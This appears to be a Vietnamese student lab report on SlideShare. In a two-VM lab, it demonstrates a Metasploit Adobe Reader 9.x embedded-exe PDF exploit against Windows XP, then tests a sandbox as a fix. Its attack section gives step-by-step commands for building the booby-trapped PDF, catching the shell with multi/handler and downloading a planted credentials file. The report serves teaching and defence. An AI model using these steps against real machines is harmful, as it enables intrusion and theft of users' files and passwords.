SlideShare a Scribd company logo
Đềtài :NghiênCứuchứcnăng backtrack đểkiểmtra an ninhmạng
Sinhviênthựchiện :NguyễnViệtHưng
GVHD :VõĐỗThắng
Nội Dung bàibáocáo
- Hướngdẫntấncôngmắc victim bằng file pdf qua lỗicủaadobe_reader 9.x
trênnền win xp
- Hướngdẫncáchkhắcphụcsựcốkhimáytínhmắcphảilỗitrên
Cáccôngcụhỗtrợđểlàmbài
- 2 máyảo:
Máybacktrack :chuẩnbị 1 file pdf
Máyxp :cócàiđặtphầnmêmadobe_reader 9.x , phầnmềm sandbox
đểkhắcphụclỗi ( máyxpsẽđượccoilàmáy victim màchúng ta
sẽtấncông )
Mụclục
Table of Contents
Phần I : Hướng dẫn tấn công máy victim .....................................................................................................1
Phần II : Hướng Dẫn cách khắc phục ...........................................................................................................7
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
1
PhầnI :Hướngdẫntấncôngmáy victim
- Gõlệnhmsfconsoleđểkhởiđộngmetaploit
- Vìđâylàlỗitrongmang LAN nênyêucầuipmáy backtrack phảicùnglớpvới IP
máy victim
- Gõlệnhifconfigđểxem IP
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
2
- Ta dùnglệnhipconfigđểxem IP máy victim
- Sauđó ping địachỉ IP máy backtrack xemnóthấynhay hay không
- Saukhimetaploitkhởiđộngxong , gõtiếpcâulệnh :
Use exploit/windows/fileformat/adobe_pdf_embedded_exe( đểchọnlỗimà ta
sẽdùngđểtấncông )
- Gõtiếp : show options
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
3
- Saukhi show options , nósẽđưaracácthông tin vềlỗimàchúng ta dùng
- Set filename : nghĩalàđặttêncho file chứamãđọc
- Set infilename : chuyểnđổitừ file pdf màchúng ta chuẩnbịtừtrước
- Set payload : kiểutấncông
- Set Lhost : gõipmáymìnhvào ( ở đâylà 192.168.183.128 )
- Dùnglệnh exploit đểthựcthi
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
4
- cp /root/.msf4/local/hack.pdf /root/Desktop : câulệnhnàysẽtạora 1 file pdf
chứamãđọccótênlà hack.pdf , vànóđượcđặtngayngoài Desktop
- use exploit/multi/handler : tạo 1 phiênlắngnghe
- Set lạilhost ( với IP giống IP màchúng ta sét ở trên ) rồisauđó exploit làxong
- Chỉcầngửi file chứamãđọcđếnmáynạnnhân , khinạnnhânmở file nósẽyêucầu
save lại , rồihỏicómuốn open hay ko , chỉcầnnhấn open thìmáysẽbịtấncông
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
5
- Máy backtrack đãxâmnhậpthànhcông , vànógửi 1 file ( 752128 byte )
đếnmáy victim
- Ta dùnglệnh : cd C:/ ( lệnhnàysẽ di chuyểnđến ổ C củamáy victim )
- Dùnglệnh : ls ( liệtkêtấtcảcáctập tin trong ổ C )
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
6
- Trênmáy victim ta vào ổ C tạo 1 file tên taikhoan.txt ( nội dung trong file là
id : tho pass:123456 )
- Trênmáy backtrack dùnglệnhlsđểliệtkêlạithìthấy file taikhoan.txt
- Dùnglệnh : download C:/taikhoan.txt /root/Desktop/
( câulệnhnàysẽ download file taikhoan.txt từ ổ C củamáy victim vàđặttrên
Desktop củachúng ta )
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
7
PhầnII :HướngDẫncáchkhắcphục
- Tảiphầnmêm sandbox vềmáy
- Sauđó ta tiếnhànhcàiđặt , vàđâylàgiaodiệncủaphầnmềm sandbox
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
8
- Nếubạnnghingờ file nàokhôngđáng tin cậythìbạnbỏvàotrong , ở đây ta
sẽchạy file hack.pdf khinãy
- Ở đâychỉmở file hack.pdf , nhưngnóđãtựđộngmởthêm 1 sốcáikhác
- Máy backtrack vẫnxâmnhậpvàomáy victim bìnhthường
- Dùnglệnh : cd C:/ ( để di chuyểnđến ổ C củamáy victim )
- Sauđóthửdùnglệnh : upload /root/Desktop/file.pdf C:/ ( ta sẽ send 1 file
cótên file.pdf đếnmáy victim )
Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
9
- Câulệnhvẫnchạy OK nhưngbênmáy victim thìkhôngthấy file.pdf mà
backtrack đãgửi qua
- Trênmáy backtrack ta dùnglệnh : ls
- Nóđãliệtkêtấtcảcácthưmụctrong ổ C luôncả file.pdf
màkhinãyđãgửimặcdùtrênmáy victim thìkhôngnhậnđược

More Related Content

Featured

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
Marius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
Expeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
Pixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
ThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
marketingartwork
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
Skeleton Technologies
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
Kurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
SpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Lily Ray
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
Rajiv Jayarajah, MAppComm, ACC
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
Christy Abraham Joy
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
Vit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
MindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
RachelPearson36
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

đề Tài

  • 1. Đềtài :NghiênCứuchứcnăng backtrack đểkiểmtra an ninhmạng Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng
  • 2. Nội Dung bàibáocáo - Hướngdẫntấncôngmắc victim bằng file pdf qua lỗicủaadobe_reader 9.x trênnền win xp - Hướngdẫncáchkhắcphụcsựcốkhimáytínhmắcphảilỗitrên Cáccôngcụhỗtrợđểlàmbài - 2 máyảo: Máybacktrack :chuẩnbị 1 file pdf Máyxp :cócàiđặtphầnmêmadobe_reader 9.x , phầnmềm sandbox đểkhắcphụclỗi ( máyxpsẽđượccoilàmáy victim màchúng ta sẽtấncông )
  • 3. Mụclục Table of Contents Phần I : Hướng dẫn tấn công máy victim .....................................................................................................1 Phần II : Hướng Dẫn cách khắc phục ...........................................................................................................7
  • 4. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 1 PhầnI :Hướngdẫntấncôngmáy victim - Gõlệnhmsfconsoleđểkhởiđộngmetaploit - Vìđâylàlỗitrongmang LAN nênyêucầuipmáy backtrack phảicùnglớpvới IP máy victim - Gõlệnhifconfigđểxem IP
  • 5. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 2 - Ta dùnglệnhipconfigđểxem IP máy victim - Sauđó ping địachỉ IP máy backtrack xemnóthấynhay hay không - Saukhimetaploitkhởiđộngxong , gõtiếpcâulệnh : Use exploit/windows/fileformat/adobe_pdf_embedded_exe( đểchọnlỗimà ta sẽdùngđểtấncông ) - Gõtiếp : show options
  • 6. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 3 - Saukhi show options , nósẽđưaracácthông tin vềlỗimàchúng ta dùng - Set filename : nghĩalàđặttêncho file chứamãđọc - Set infilename : chuyểnđổitừ file pdf màchúng ta chuẩnbịtừtrước - Set payload : kiểutấncông - Set Lhost : gõipmáymìnhvào ( ở đâylà 192.168.183.128 ) - Dùnglệnh exploit đểthựcthi
  • 7. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 4 - cp /root/.msf4/local/hack.pdf /root/Desktop : câulệnhnàysẽtạora 1 file pdf chứamãđọccótênlà hack.pdf , vànóđượcđặtngayngoài Desktop - use exploit/multi/handler : tạo 1 phiênlắngnghe - Set lạilhost ( với IP giống IP màchúng ta sét ở trên ) rồisauđó exploit làxong - Chỉcầngửi file chứamãđọcđếnmáynạnnhân , khinạnnhânmở file nósẽyêucầu save lại , rồihỏicómuốn open hay ko , chỉcầnnhấn open thìmáysẽbịtấncông
  • 8. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 5 - Máy backtrack đãxâmnhậpthànhcông , vànógửi 1 file ( 752128 byte ) đếnmáy victim - Ta dùnglệnh : cd C:/ ( lệnhnàysẽ di chuyểnđến ổ C củamáy victim ) - Dùnglệnh : ls ( liệtkêtấtcảcáctập tin trong ổ C )
  • 9. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 6 - Trênmáy victim ta vào ổ C tạo 1 file tên taikhoan.txt ( nội dung trong file là id : tho pass:123456 ) - Trênmáy backtrack dùnglệnhlsđểliệtkêlạithìthấy file taikhoan.txt - Dùnglệnh : download C:/taikhoan.txt /root/Desktop/ ( câulệnhnàysẽ download file taikhoan.txt từ ổ C củamáy victim vàđặttrên Desktop củachúng ta )
  • 10. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 7 PhầnII :HướngDẫncáchkhắcphục - Tảiphầnmêm sandbox vềmáy - Sauđó ta tiếnhànhcàiđặt , vàđâylàgiaodiệncủaphầnmềm sandbox
  • 11. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 8 - Nếubạnnghingờ file nàokhôngđáng tin cậythìbạnbỏvàotrong , ở đây ta sẽchạy file hack.pdf khinãy - Ở đâychỉmở file hack.pdf , nhưngnóđãtựđộngmởthêm 1 sốcáikhác - Máy backtrack vẫnxâmnhậpvàomáy victim bìnhthường - Dùnglệnh : cd C:/ ( để di chuyểnđến ổ C củamáy victim ) - Sauđóthửdùnglệnh : upload /root/Desktop/file.pdf C:/ ( ta sẽ send 1 file cótên file.pdf đếnmáy victim )
  • 12. Sinhviênthựchiện :NguyễnViệtHưng GVHD :VõĐỗThắng 9 - Câulệnhvẫnchạy OK nhưngbênmáy victim thìkhôngthấy file.pdf mà backtrack đãgửi qua - Trênmáy backtrack ta dùnglệnh : ls - Nóđãliệtkêtấtcảcácthưmụctrong ổ C luôncả file.pdf màkhinãyđãgửimặcdùtrênmáy victim thìkhôngnhậnđược